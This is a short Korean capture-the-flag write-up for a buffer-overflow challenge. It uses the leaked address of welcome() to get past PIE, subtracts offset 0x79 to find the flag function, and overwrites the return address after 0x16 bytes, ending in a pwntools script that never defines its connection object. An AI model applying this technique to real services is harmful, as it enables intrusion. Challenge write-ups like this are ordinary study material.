3008 포트로 접속하면 뜬다. 주소를 알려주고 입력을 받는다
[ main ]
welcome 함수호출 후, Nah 를 출력하고 종료한다.
[ welcome ]
do you know j0n9hyun ? 을 출력하고,
welcome 함수의 주소를 출력해주고,
[ebp-0x12] 에 값을 입력받는다.
NX 와 PIE 가 설정되어있다.
stack 이나 heap 에 쉘코드를 올려 실행할수없고,
절대주소를 사용할 수 없다.
flag 를 출력해주는 j0n9hyun 함수이다.
절대주소를 사용할 수 없으니,
welcome 함수와 j0n9hyun 함수의 offset 차이를 구해서, j0n9hyun 함수의 주소를 구한뒤,
BOF 로 ret 주소를 j0n9hyun 함수의 주소로 조작하면 되겠다.
두 주소의 차이 = welcome - j0n9hyun = 0x909 - 0x890 = 0x79 이다.
j0n9hyun 함수의 주소 = welcome 함수의 주소 - 0x79
[ebp-0x12] 에 입력을 받으니, ret 주소까지 거리는
0x12+0x4(ebp) = 0x16 (22d)
payload = DUMMY(0x16) + 받아온 welcome주소 - 0x79
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
from pwn import *
offset=0x79
r.recvline()
data=r.recvline()
data=int(data[2].strip(),16)
payload='a'*0x16
payload+=p32(data-offset)
r.sendline(payload)
r.recvline() #ha-wi
print(r.recvline())
|